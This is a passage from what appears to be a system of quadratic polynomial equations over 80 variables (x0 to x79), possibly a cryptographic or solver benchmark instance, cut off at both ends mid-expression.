+ x31*x72 + x31*x74 + x31*x75 + x31*x76 + x32*x34 + x32*x35 + x32*x40 + x32*x42 + x32*x44 + x32*x46 + x32*x48 + x32*x50 + x32*x51 + x32*x52 + x32*x55 + x32*x58 + x32*x59 + x32*x62 + x32*x64 + x32*x68 + x32*x70 + x32*x71 + x32*x73 + x32*x76 + x32*x78 + x33*x36 + x33*x42 + x33*x43 + x33*x44 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x55 + x33*x56 + x33*x61 + x33*x62 + x33*x63 + x33*x66 + x33*x68 + x33*x69 + x33*x73 + x33*x78 + x33 + x34*x35 + x34*x36 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x52 + x34*x53 + x34*x55 + x34*x58 + x34*x60 + x34*x61 + x34*x63 + x34*x67 + x34*x69 + x34*x70 + x34*x74 + x34*x75 + x34*x79 + x34 + x35*x36 + x35*x37 + x35*x38 + x35*x39 + x35*x40 + x35*x45 + x35*x47 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x56 + x35*x58 + x35*x60 + x35*x62 + x35*x65 + x35*x66 + x35*x69 + x35*x76 + x35*x77 + x35 + x36*x38 + x36*x39 + x36*x46 + x36*x49 + x36*x53 + x36*x55 + x36*x57 + x36*x58 + x36*x61 + x36*x63 + x36*x64 + x36*x67 + x36*x68 + x36*x69 + x36*x72 + x36*x75 + x36*x76 + x36*x77 + x36*x79 + x36 + x37*x38 + x37*x42 + x37*x43 + x37*x46 + x37*x50 + x37*x52 + x37*x54 + x37*x55 + x37*x56 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x67 + x37*x68 + x37*x69 + x37*x72 + x37*x75 + x37*x76 + x37*x79 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x47 + x38*x48 + x38*x49 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x59 + x38*x60 + x38*x63 + x38*x64 + x38*x65 + x38*x71 + x38*x73 + x38*x75 + x38*x78 + x38*x79 + x39*x40 + x39*x41 + x39*x43 + x39*x46 + x39*x48 + x39*x50 + x39*x51 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x61 + x39*x65 + x39*x68 + x39*x69 + x39*x71 + x39*x73 + x39*x74 + x39*x75 + x39*x77 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x46 + x40*x48 + x40*x49 + x40*x50 + x40*x54 + x40*x57 + x40*x58 + x40*x66 + x40*x67 + x40*x70 + x40*x72 + x40*x73 + x40*x76 + x40*x78 + x40*x79 + x41*x42 + x41*x44 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x53 + x41*x55 + x41*x56 + x41*x59 + x41*x61 + x41*x63 + x41*x64 + x41*x66 + x41*x68 + x41*x69 + x41*x70 + x41*x71 + x41*x72 + x41*x73 + x41*x75 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x47 + x42*x48 + x42*x50 + x42*x51 + x42*x52 + x42*x55 + x42*x58 + x42*x60 + x42*x61 + x42*x63 + x42*x65 + x42*x68 + x42*x76 + x42*x79 + x42 + x43*x44 + x43*x52 + x43*x53 + x43*x55 + x43*x56 + x43*x58 + x43*x60 + x43*x61 + x43*x62 + x43*x63 + x43*x64 + x43*x65 + x43*x67 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43 + x44*x46 + x44*x47 + x44*x48 + x44*x51 + x44*x52 + x44*x54 + x44*x56 + x44*x59 + x44*x60 + x44*x62 + x44*x65 + x44*x66 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x75 + x44*x76 + x44*x77 + x44*x78 + x44 + x45*x47 + x45*x49 + x45*x50 + x45*x54 + x45*x56 + x45*x58 + x45*x59 + x45*x61 + x45*x65 + x45*x66 + x45*x68 + x45*x70 + x45*x71 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45 + x46*x52 + x46*x55 + x46*x56 + x46*x58 + x46*x59 + x46*x64 + x46*x66 + x46*x67 + x46*x69 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46 + x47*x48 + x47*x50 + x47*x52 + x47*x56 + x47*x59 + x47*x60 + x47*x61 + x47*x68 + x47*x72 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x47 + x48*x50 + x48*x53 + x48*x54 + x48*x56 + x48*x60 + x48*x62 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x70 + x48*x72 + x48*x75 + x48*x76 + x48*x77 + x48*x78 + x48*x79 + x48 + x49*x53 + x49*x54 + x49*x55 + x49*x58 + x49*x60 + x49*x61 + x49*x62 + x49*x65 + x49*x66 + x49*x68 + x49*x75 + x49*x76 + x49*x78 + x49 + x50*x54 + x50*x59 + x50*x60 + x50*x62 + x50*x63 + x50*x64 + x50*x67 + x50*x69 + x50*x70 + x50*x71 + x50*x73 + x50*x75 + x50*x77 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x56 + x51*x57 + x51*x59 + x51*x61 + x51*x64 + x51*x67 + x51*x68 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x75 + x51*x78 + x51 + x52*x53 + x52*x60 + x52*x61 + x52*x64 + x52*x65 + x52*x68 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x60 + x53*x61 + x53*x66 + x53*x67 + x53*x68 + x53*x70 + x53*x72 + x53*x73 + x53*x75 + x53*x76 + x53*x79 + x53 + x54*x55 + x54*x58 + x54*x59 + x54*x60 + x54*x61 + x54*x62 + x54*x69 + x54*x70 + x54*x74 + x54*x76 + x54*x77 + x54 + x55*x56 + x55*x57 + x55*x60 + x55*x62 + x55*x63 + x55*x66 + x55*x69 + x55*x71 + x55*x77 + x55*x78 + x56*x59 + x56*x60 + x56*x61 + x56*x63 + x56*x66 + x56*x70 + x56*x74 + x56*x75 + x56*x76 + x56*x79 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x68 + x57*x70 + x57*x71 + x57*x73 + x57*x74 + x57*x76 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x60 + x58*x62 + x58*x63 + x58*x66 + x58*x67 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x59*x60 + x59*x61 + x59*x64 + x59*x67 + x59*x68 + x59*x70 + x59*x73 + x59*x75 + x59*x77 + x60*x62 + x60*x63 + x60*x64 + x60*x66 + x60*x69 + x60*x71 + x60*x76 + x60*x77 + x60*x79 + x60 + x61*x62 + x61*x64 + x61*x68 + x61*x69 + x61*x74 + x61*x78 + x61*x79 + x62*x64 + x62*x65 + x62*x68 + x62*x70 + x62*x71 + x62*x75 + x62*x76 + x62*x78 + x62*x79 + x62 + x63*x67 + x63*x68 + x63*x69 + x63*x75 + x63 + x64*x65 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x74 + x64*x75 + x64*x77 + x64*x78 + x64*x79 + x65*x67 + x65*x68 + x65*x72 + x65*x74 + x66*x67 + x66*x68 + x66*x72 + x66*x76 + x66*x78 + x66*x79 + x67*x69 + x67*x70 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x70 + x68*x73 + x68*x77 + x68*x79 + x69*x74 + x69*x76 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x78 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x74 + x73*x75 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x77 + x74 + x75*x79 + x76*x77 + x76*x78 + x76 + x78*x79 + 1, x0*x2 + x0*x4 + x0*x8 + x0*x14 + x0*x18 + x0*x20 + x0*x22 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x31 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x39 + x0*x45 + x0*x47 + x0*x49 + x0*x50 + x0*x51 + x0*x53 + x0*x55 + x0*x57 + x0*x58 + x0*x63 + x0*x65 + x0*x66 + x0*x67 + x0*x69 + x0*x73 + x0*x77 + x0*x78 + x1*x5 + x1*x8 + x1*x9 + x1*x12 + x1*x13 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x20 + x1*x21 + x1*x22 + x1*x23 + x1*x25 + x1*x27 + x1*x28 + x1*x29 + x1*x32 + x1*x33 + x1*x35 + x1*x36 + x1*x41 + x1*x43 + x1*x44 + x1*x46 + x1*x48 + x1*x50 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x65 + x1*x66 + x1*x68 + x1*x73 + x1*x75 + x1*x77 + x1*x78 + x1*x79 + x1 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x14 + x2*x15 + x2*x18 + x2*x19 + x2*x26 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x35 + x2*x36 + x2*x39 + x2*x41 + x2*x42 + x2*x45 + x2*x49 + x2*x52 + x2*x53 + x2*x55 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x66 + x2*x67 + x2*x68 + x2*x70 + x2*x71 + x3*x8 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x24 + x3*x27 + x3*x31 + x3*x32 + x3*x33 + x3*x37 + x3*x38 + x3*x39 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x48 + x3*x53 + x3*x54 + x3*x55 + x3*x58 + x3*x61 + x3*x64 + x3*x67 + x3*x68 + x3*x71 + x3*x72 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x10 + x4*x12 + x4*x15 + x4*x16 + x4*x17 + x4*x18 + x4*x20 + x4*x21 + x4*x23 + x4*x24 + x4*x28 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x37 + x4*x39 + x4*x41 + x4*x43 + x4*x44 + x4*x45 + x4*x46 + x4*x47 + x4*x49 + x4*x52 + x4*x53 + x4*x55 + x4*x57 + x4*x62 + x4*x63 + x4*x64 + x4*x67 + x4*x68 + x4*x71 + x4*x73 + x4*x76 + x4*x78 + x4*x79 + x4 + x5*x11 + x5*x14 + x5*x15 + x5*x16 + x5*x18 + x5*x19 + x5*x23 + x5*x24 + x5*x25 + x5*x28 + x5*x30 + x5*x32 + x5*x33 + x5*x34 + x5*x35 + x5*x37 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x53 + x5*x54 + x5*x55 + x5*x57 + x5*x58 + x5*x62 + x5*x63 + x5*x65 + x5*x66 + x5*x67 + x5*x68 + x5*x70 + x5*x71 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x12 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x20 + x6*x22 + x6*x23 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x33 + x6*x35 + x6*x37 + x6*x38 + x6*x39 + x6*x41 + x6*x43 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x55 + x6*x56 + x6*x57 + x6*x63 + x6*x65 + x6*x68 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x74 + x6*x76 + x7*x10 + x7*x15 + x7*x16 + x7*x19 + x7*x20 + x7*x21 + x7*x26 + x7*x27 + x7*x28 + x7*x30 + x7*x31 + x7*x34 + x7*x35 + x7*x39 + x7*x40 + x7*x44 + x7*x46 + x7*x47 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x59 + x7*x62 + x7*x63 + x7*x64 + x7*x66 + x7*x67 + x7*x68 + x7*x70 + x7*x71 + x7*x74 + x7*x76 + x7*x77 + x7*x79 + x7 + x8*x10 + x8*x11 + x8*x13 + x8*x17 + x8*x18 + x8*x20 + x8*x21 + x8*x22 + x8*x28 + x8*x29 + x8*x30 + x8*x31 + x8*x34 + x8*x36 + x8*x37 + x8*x38 + x8*x39 + x8*x41 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x49 + x8*x51 + x8*x53 + x8*x54 + x8*x56 + x8*x57 + x8*x58 + x8*x59 + x8*x65 + x8*x67 + x8*x68 + x8*x69 + x8*x70 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x76 + x8*x77 + x8 + x9*x11 + x9*x14 + x9*x17 + x9*x19 + x9*x20 + x9*x22 + x9*x25 + x9*x28 + x9*x29 + x9*x30 + x9*x32 + x9*x34 + x9*x35 + x9*x36 + x9*x38 + x9*x40 + x9*x43 + x9*x44 + x9*x45 + x9*x47 + x9*x49 + x9*x51 + x9*x54 + x9*x55 + x9*x57 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x73 + x9*x76 + x9*x77 + x9*x78 + x9*x79 + x9 + x10*x11 + x10*x14 + x10*x16 + x10*x17 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x25 + x10*x27 + x10*x29 + x10*x31 + x10*x34 + x10*x36 + x10*x39 + x10*x41 + x10*x43 + x10*x45 + x10*x47 + x10*x49 + x10*x54 + x10*x55 + x10*x59 + x10*x60 + x10*x62 + x10*x66 + x10*x69 + x10*x71 + x10*x73 + x10*x74 + x10*x75 + x10*x76 + x10*x77 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x16 + x11*x17 + x11*x19 + x11*x24 + x11*x29 + x11*x31 + x11*x32 + x11*x34 + x11*x36 + x11*x37 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x45 + x11*x46 + x11*x48 + x11*x50 + x11*x51 + x11*x53 + x11*x57 + x11*x64 + x11*x65 + x11*x66 + x11*x67 + x11*x69 + x11*x71 + x11*x74 + x11*x77 + x11*x79 + x11 + x12*x13 + x12*x17 + x12*x20 + x12*x22 + x12*x23 + x12*x25 + x12*x30 + x12*x31 + x12*x33 + x12*x35 + x12*x36 + x12*x39 + x12*x41 + x12*x42 + x12*x43 + x12*x45 + x12*x46 + x12*x47 + x12*x48 + x12*x50 + x12*x51 + x12*x54 + x12*x55 + x12*x57 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x63 + x12*x64 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x74 + x12*x78 + x13*x15 + x13*x16 + x13*x18 + x13*x19 + x13*x22 + x13*x24 + x13*x30 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x39 + x13*x42 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x50 + x13*x51 + x13*x53 + x13*x54 + x13*x56 + x13*x57 + x13*x61 + x13*x62 + x13*x63 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x72 + x13*x73 + x13*x75 + x13*x78 + x14*x17 + x14*x18 + x14*x22 + x14*x23 + x14*x27 + x14*x28 + x14*x29 + x14*x32 + x14*x33 + x14*x35 + x14*x41 + x14*x46 + x14*x49 + x14*x50 + x14*x51 + x14*x53 + x14*x57 + x14*x59 + x14*x60 + x14*x61 + x14*x63 + x14*x65 + x14*x66 + x14*x69 + x14*x71 + x14*x73 + x14*x76 + x14*x77 + x15*x18 + x15*x19 + x15*x20 + x15*x22 + x15*x25 + x15*x26 + x15*x27 + x15*x28 + x15*x30 + x15*x31 + x15*x35 + x15*x38 + x15*x39 + x15*x46 + x15*x48 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x55 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x63 + x15*x66 + x15*x69 + x15*x72 + x15*x76 + x15*x77 + x15*x78 + x15*x79 + x16*x17 + x16*x19 + x16*x20 + x16*x21 + x16*x23 + x16*x25 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x35 + x16*x36 + x16*x37 + x16*x38 + x16*x41 + x16*x46 + x16*x48 + x16*x49 + x16*x52 + x16*x53 + x16*x57 + x16*x62 + x16*x66 + x16*x68 + x16*x70 + x16*x73 + x16*x75 + x16*x79 + x17*x19 + x17*x21 + x17*x22 + x17*x23 + x17*x24 + x17*x25 + x17*x28 + x17*x29 + x17*x30 + x17*x32 + x17*x33 + x17*x35 + x17*x38 + x17*x39 + x17*x42 + x17*x43 + x17*x44 + x17*x49 + x17*x50 + x17*x55 + x17*x57 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x64 + x17*x65 + x17*x69 + x17*x71 + x17*x73 + x17*x76 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x22 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x29 + x18*x30 + x18*x32 + x18*x34 + x18*x36 + x18*x39 + x18*x40 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x60 + x18*x61 + x18*x65 + x18*x67 + x18*x68 + x18*x70 + x18*x71 + x18*x73 + x18*x75 + x18*x78 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x30 + x19*x31 + x19*x32 + x19*x34 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x44 + x19*x46 + x19*x47 + x19*x48 + x19*x49 + x19*x53 + x19*x54 + x19*x57 + x19*x59 + x19*x60 + x19*x64 + x19*x65 + x19*x67 + x19*x68 + x19*x70 + x19*x71 + x19*x72 + x19*x74 + x19*x77 + x19*x79 + x19 + x20*x24 + x20*x25 + x20*x28 + x20*x30 + x20*x34 + x20*x35 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x43 + x20*x45 + x20*x47 + x20*x48 + x20*x50 + x20*x51 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x61 + x20*x63 + x20*x67 + x20*x68 + x20*x69 + x20*x71 + x20*x72 + x20*x73 + x20*x78 + x20 + x21*x23 + x21*x24 + x21*x29 + x21*x31 + x21*x34 + x21*x35 + x21*x37 + x21*x39 + x21*x40 + x21*x44 + x21*x46 + x21*x47 + x21*x51 + x21*x57 + x21*x59 + x21*x60 + x21*x62 + x21*x65 + x21*x66 + x21*x69 + x21*x70 + x21*x73 + x21*x75 + x21*x78 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x30 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x39 + x22*x40 + x22*x43 + x22*x44 + x22*x49 + x22*x59 + x22*x61 + x22*x64 + x22*x67 + x22*x69 + x22*x71 + x22*x72 + x22*x73 + x22*x77 + x22*x79 + x23*x24 + x23*x25 + x23*x27 + x23*x29 + x23*x31 + x23*x32 + x23*x34 + x23*x35 + x23*x36 + x23*x39 + x23*x40 + x23*x44 + x23*x46 + x23*x47 + x23*x49 + x23*x50 + x23*x53 + x23*x55 + x23*x57 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x68 + x23*x71 + x23*x72 + x23*x74 + x23*x79 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x33 + x24*x34 + x24*x36 + x24*x37 + x24*x38 + x24*x40 + x24*x42 + x24*x43 + x24*x50 + x24*x53 + x24*x56 + x24*x59 + x24*x61 + x24*x64 + x24*x67 + x24*x69 + x24*x72 + x24*x73 + x24*x75 + x24*x76 + x24*x77 + x24*x79 + x24 + x25*x31 + x25*x32 + x25*x33 + x25*x38 + x25*x39 + x25*x44 + x25*x46 + x25*x50 + x25*x52 + x25*x53 + x25*x59 + x25*x61 + x25*x64 + x25*x67 + x25*x68 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x78 + x26*x28 + x26*x32 + x26*x35 + x26*x36 + x26*x38 + x26*x40 + x26*x43 + x26*x44 + x26*x46 + x26*x47 + x26*x48 + x26*x50 + x26*x53 + x26*x54 + x26*x55 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x66 + x26*x67 + x26*x69 + x26*x70 + x26*x75 + x26*x76 + x26 + x27*x31 + x27*x36 + x27*x37 + x27*x38 + x27*x41 + x27*x43 + x27*x44 + x27*x46 + x27*x55 + x27*x63 + x27*x70 + x27*x71 + x27*x74 + x27*x78 + x28*x29 + x28*x30 + x28*x31 + x28*x33 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x39 + x28*x44 + x28*x48 + x28*x49 + x28*x50 + x28*x53 + x28*x54 + x28*x58 + x28*x59 + x28*x60 + x28*x61 + x28*x64 + x28*x66 + x28*x69 + x28*x73 + x28*x75 + x28*x76 + x28*x77 + x28*x78 + x28*x79 + x29*x30 + x29*x31 + x29*x34 + x29*x35 + x29*x37 + x29*x39 + x29*x44 + x29*x51 + x29*x58 + x29*x63 + x29*x65 + x29*x66 + x29*x67 + x29*x69 + x29*x70 + x29*x72 + x29*x73 + x29*x74 + x29*x75 + x29*x77 + x29*x79 + x30*x31 + x30*x32 + x30*x36 + x30*x39 + x30*x40 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x59 + x30*x62 + x30*x66 + x30*x69 + x30*x72 + x30*x75 + x30*x77 + x30*x79 + x30 + x31*x33 + x31*x34 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x42 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x48 + x31*x49 + x31*x52 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x58 + x31*x59 + x31*x60 + x31*x61 + x31*x62 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x73 + x31*x74 + x31*x76 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x38 + x32*x44 + x32*x46 + x32*x47 + x32*x49 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x57 + x32*x60 + x32*x67 + x32*x68 + x32*x69 + x32*x71 + x32*x74 + x32*x75 + x32*x76 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x36 + x33*x37 + x33*x40 + x33*x41 + x33*x44 + x33*x45 + x33*x51 + x33*x52 + x33*x55 + x33*x58 + x33*x61 + x33*x62 + x33*x64 + x33*x67 + x33*x69 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x79 + x33 + x34*x37 + x34*x40 + x34*x42 + x34*x45 + x34*x47 + x34*x49 + x34*x51 + x34*x53 + x34*x57 + x34*x58 + x34*x61 + x34*x63 + x34*x64 + x34*x68 + x34*x71 + x34*x72 + x34*x78 + x34*x79 + x34 + x35*x38 + x35*x40 + x35*x42 + x35*x43 + x35*x44 + x35*x46 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x57 + x35*x58 + x35*x59 + x35*x62 + x35*x69 + x35*x70 + x35*x71 + x35*x74 + x35*x77 + x35*x78 + x36*x44 + x36*x46 + x36*x51 + x36*x53 + x36*x57 + x36*x66 + x36*x69 + x36*x70 + x36*x71 + x36*x78 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x44 + x37*x46 + x37*x49 + x37*x51 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x58 + x37*x60 + x37*x62 + x37*x63 + x37*x69 + x37*x71 + x37*x72 + x37*x75 + x37*x79 + x38*x39 + x38*x42 + x38*x43 + x38*x45 + x38*x47 + x38*x49 + x38*x50 + x38*x53 + x38*x54 + x38*x55 + x38*x58 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x64 + x38*x65 + x38*x67 + x38*x68 + x38*x72 + x38*x77 + x38*x79 + x38 + x39*x40 + x39*x44 + x39*x47 + x39*x49 + x39*x53 + x39*x54 + x39*x57 + x39*x63 + x39*x65 + x39*x66 + x39*x68 + x39*x70 + x39*x72 + x39*x73 + x39*x76 + x39*x77 + x39 + x40*x41 + x40*x43 + x40*x45 + x40*x46 + x40*x47 + x40*x48 + x40*x49 + x40*x54 + x40*x62 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40 + x41*x43 + x41*x45 + x41*x46 + x41*x48 + x41*x51 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x62 + x41*x64 + x41*x67 + x41*x68 + x41*x72 + x41*x73 + x41*x74 + x41*x76 + x41*x78 + x41 + x42*x43 + x42*x45 + x42*x49 + x42*x52 + x42*x53 + x42*x54 + x42*x56 + x42*x57 + x42*x60 + x42*x62 + x42*x66 + x42*x69 + x42*x76 + x42*x78 + x43*x48 + x43*x50 + x43*x51 + x43*x53 + x43*x54 + x43*x58 + x43*x60 + x43*x61 + x43*x63 + x43*x64 + x43*x65 + x43*x66 + x43*x67 + x43*x69 + x43*x71 + x43*x72 + x43*x74 + x43*x75 + x43*x77 + x43*x78 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x59 + x44*x63 + x44*x65 + x44*x71 + x44*x72 + x44*x77 + x44*x79 + x44 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x57 + x45*x58 + x45*x59 + x45*x61 + x45*x62 + x45*x63 + x45*x64 + x45*x65 + x45*x68 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45 + x46*x47 + x46*x48 + x46*x49 + x46*x50 + x46*x51 + x46*x55 + x46*x59 + x46*x60 + x46*x61 + x46*x65 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x46*x78 + x46*x79 + x46 + x47*x48 + x47*x49 + x47*x54 + x47*x56 + x47*x59 + x47*x61 + x47*x62 + x47*x64 + x47*x68 + x47*x70 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x48*x49 + x48*x50 + x48*x52 + x48*x53 + x48*x55 + x48*x57 + x48*x61 + x48*x63 + x48*x66 + x48*x67 + x48*x70 + x48*x71 + x48*x74 + x48*x75 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x50 + x49*x51 + x49*x52 + x49*x54 + x49*x55 + x49*x58 + x49*x59 + x49*x60 + x49*x63 + x49*x65 + x49*x66 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x79 + x50*x51 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x64 + x50*x66 + x50*x67 + x50*x70 + x50*x72 + x50*x73 + x50*x74 + x50*x76 + x50*x79 + x51*x53 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x65 + x51*x67 + x51*x68 + x51*x71 + x51*x78 + x51*x79 + x52*x53 + x52*x54 + x52*x56 + x52*x58 + x52*x60 + x52*x62 + x52*x64 + x52*x65 + x52*x66 + x52*x69 + x52*x73 + x52*x74 + x52*x75 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x56 + x53*x58 + x53*x60 + x53*x61 + x53*x62 + x53*x63 + x53*x64 + x53*x65 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x75 + x53*x76 + x53 + x54*x56 + x54*x57 + x54*x60 + x54*x61 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x68 + x54*x71 + x54*x74 + x54*x75 + x54*x77 + x54*x79 + x55*x56 + x55*x58 + x55*x59 + x55*x64 + x55*x68 + x55*x69 + x55*x70 + x55*x72 + x55*x77 + x55*x79 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x66 + x56*x67 + x56*x70 + x56*x71 + x56*x75 + x56*x76 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x69 + x57*x78 + x57*x79 + x58*x59 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x68 + x58*x69 + x58*x72 + x58*x74 + x58*x78 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x73 + x59*x77 + x59*x78 + x59*x79 + x60*x61 + x60*x63 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x71 + x60*x72 + x60*x74 + x60*x75 + x60*x78 + x60 + x61*x63 + x61*x67 + x61*x68 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x63 + x62*x66 + x62*x68 + x62*x70 + x62*x75 + x62*x76 + x62*x77 + x63*x64 + x63*x65 + x63*x66 + x63*x69 + x63*x74 + x63*x75 + x63*x76 + x63*x79 + x64*x68 + x64*x69 + x64*x71 + x64*x76 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x67 + x65*x68 + x65*x69 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x77 + x66*x69 + x66*x70 + x66*x72 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x71 + x67*x76 + x67*x78 + x67 